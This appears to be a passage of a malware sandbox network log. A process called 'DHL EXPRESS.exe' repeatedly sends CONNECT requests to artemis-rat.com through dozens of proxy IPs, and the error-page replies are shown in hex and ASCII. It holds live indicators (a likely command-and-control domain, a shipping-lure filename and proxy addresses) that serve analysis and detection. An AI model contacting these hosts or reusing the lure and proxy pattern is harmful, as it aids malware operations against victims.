Mar 11, 2024 18:37:14.696425915 CET	755	IN	HTTP/1.0 501 Tor is not an HTTP Proxy Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 54 6f 72 20 69 73 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 50 72 6f 78 79 3c 2f 68 31 3e 0a 3c 70 3e 0a 49 74 20 61 70 70 65 61 72 73 20 79 6f 75 20 68 61 76 65 20 63 6f 6e 66 69 67 75 72 65 64 20 79 6f 75 72 20 77 65 62 20 62 72 6f 77 73 65 72 20 74 6f 20 75 73 65 20 54 6f 72 20 61 73 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 54 68 69 73 20 69 73 20 6e 6f 74 20 63 6f 72 72 65 63 74 3a 20 54 6f 72 20 69 73 20 61 20 53 4f 43 4b 53 20 70 72 6f 78 79 2c 20 6e 6f 74 20 61 6e 20 48 54 54 50 20 70 72 6f 78 79 2e 0a 50 6c 65 61 73 65 20 63 6f 6e 66 69 67 75 72 65 20 79 6f 75 72 20 63 6c 69 65 6e 74 20 61 63 63 6f 72 64 69 6e 67 6c 79 2e 0a 3c 2f 70 3e 0a 3c 70 3e 0a 53 65 65 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 22 3e 68 74 74 70 73 3a 2f 2f 77 77 77 2e 74 6f 72 70 72 6f 6a 65 63 74 2e 6f 72 67 2f 64 6f 63 75 6d 65 6e 74 61 74 69 6f 6e 2e 68 74 6d 6c 3c 2f 61 3e 20 66 6f 72 20 6d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 0a 3c 21 2d 2d 20 50 6c 75 73 20 74 68 69 73 20 63 6f 6d 6d 65 6e 74 2c 20 74 6f 20 6d 61 6b 65 20 74 68 65 20 62 6f 64 79 20 72 65 73 70 6f 6e 73 65 20 6d 6f 72 65 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 73 6f 20 20 20 20 20 20 49 45 20 77 69 6c 6c 20 62 65 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 70 6c 61 79 20 69 74 2e 20 43 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 20 20 20 20 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 20 63 6f 6d 6d 65 6e 74 2e 2d 2d 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a 00 Data Ascii: <html><head><title>Tor is not an HTTP Proxy</title></head><body><h1>Tor is not an HTTP Proxy</h1><p>It appears you have configured your web browser to use Tor as an HTTP proxy.This is not correct: Tor is a SOCKS proxy, not an HTTP proxy.Please configure your client accordingly.</p><p>See <a href="https://www.torproject.org/documentation.html">https://www.torproject.org/documentation.html</a> for more information.... Plus this comment, to make the body response more than 512 bytes, so IE will be willing to display it. Comment comment comment comment comment comment comment comment comment comment comment comment.--></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1087	192.168.2.8	52504	45.65.65.18	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.867289066 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1088	192.168.2.8	53161	104.25.64.27	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.877377033 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.032268047 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:49 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1089	192.168.2.8	51266	103.105.79.69	1080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.877432108 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1090	192.168.2.8	53127	45.60.186.208	27488	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.909749031 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1091	192.168.2.8	53108	211.222.252.187	8197	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.917577982 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1092	192.168.2.8	53087	42.61.48.219	8000	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.921392918 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1093	192.168.2.8	53048	90.188.250.16	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.921551943 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.617862940 CET	340	IN	HTTP/1.1 400 Bad Request Server: nginx/1.12.2 Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 32 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.12.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1094	192.168.2.8	52507	146.19.106.193	12334	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.923386097 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1095	192.168.2.8	53134	198.199.86.11	3128	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.924094915 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.006548882 CET	28	IN	HTTP/1.1 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1096	192.168.2.8	52785	192.111.139.165	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.927900076 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1097	192.168.2.8	52481	51.161.131.84	25843	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.952864885 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.768994093 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:51.769220114 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.456794977 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:56.769361019 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:00.065967083 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:37:03.456640959 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1098	192.168.2.8	53188	104.16.105.182	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.952984095 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.107497931 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1099	192.168.2.8	53153	52.151.210.204	9002	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.953057051 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1100	192.168.2.8	53114	193.136.97.17	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.953789949 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:53.681118965 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:36:53 GMT Server: Apache/2.4.56 (Debian) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.56 (Debian) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1101	192.168.2.8	53203	104.20.75.31	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.954771042 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.109227896 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1102	192.168.2.8	53104	41.204.63.118	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.954899073 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:54.978931904 CET	806	IN	HTTP/1.1 500 Internal Server Error Date: Mon, 11 Mar 2024 17:37:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 614 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 35 30 30 20 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 49 6e 74 65 72 6e 61 6c 20 53 65 72 76 65 72 20 45 72 72 6f 72 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 73 65 72 76 65 72 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 61 6e 20 69 6e 74 65 72 6e 61 6c 20 65 72 72 6f 72 20 6f 72 0a 6d 69 73 63 6f 6e 66 69 67 75 72 61 74 69 6f 6e 20 61 6e 64 20 77 61 73 20 75 6e 61 62 6c 65 20 74 6f 20 63 6f 6d 70 6c 65 74 65 0a 79 6f 75 72 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 74 68 65 20 73 65 72 76 65 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 61 74 20 0a 20 77 65 62 6d 61 73 74 65 72 40 6c 6f 63 61 6c 68 6f 73 74 20 74 6f 20 69 6e 66 6f 72 6d 20 74 68 65 6d 20 6f 66 20 74 68 65 20 74 69 6d 65 20 74 68 69 73 20 65 72 72 6f 72 20 6f 63 63 75 72 72 65 64 2c 0a 20 61 6e 64 20 74 68 65 20 61 63 74 69 6f 6e 73 20 79 6f 75 20 70 65 72 66 6f 72 6d 65 64 20 6a 75 73 74 20 62 65 66 6f 72 65 20 74 68 69 73 20 65 72 72 6f 72 2e 3c 2f 70 3e 0a 3c 70 3e 4d 6f 72 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 61 62 6f 75 74 20 74 68 69 73 20 65 72 72 6f 72 20 6d 61 79 20 62 65 20 61 76 61 69 6c 61 62 6c 65 0a 69 6e 20 74 68 65 20 73 65 72 76 65 72 20 65 72 72 6f 72 20 6c 6f 67 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 72 74 65 6d 69 73 2d 72 61 74 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>500 Internal Server Error</title></head><body><h1>Internal Server Error</h1><p>The server encountered an internal error ormisconfiguration and was unable to completeyour request.</p><p>Please contact the server administrator at webmaster@localhost to inform them of the time this error occurred, and the actions you performed just before this error.</p><p>More information about this error may be availablein the server error log.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at artemis-rat.com Port 443</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1103	192.168.2.8	51239	95.47.119.122	8080	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.955763102 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1104	192.168.2.8	53216	162.159.242.104	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.958017111 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive
Mar 11, 2024 18:36:50.122531891 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Mon, 11 Mar 2024 17:36:50 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1105	192.168.2.8	53113	103.200.135.229	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:49.958225012 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1106	192.168.2.8	53125	94.130.94.45	80	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.032870054 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1107	192.168.2.8	53109	116.199.168.1	4145	7564	C:\Users\user\Desktop\DHL EXPRESS.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2024 18:36:50.033385038 CET	223	OUT	CONNECT artemis-rat.com:443 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, killer Gecko) Chrome/58.0.3029.110 Safari/537.3 Host: artemis-rat.com Proxy-Connection: Keep-Alive

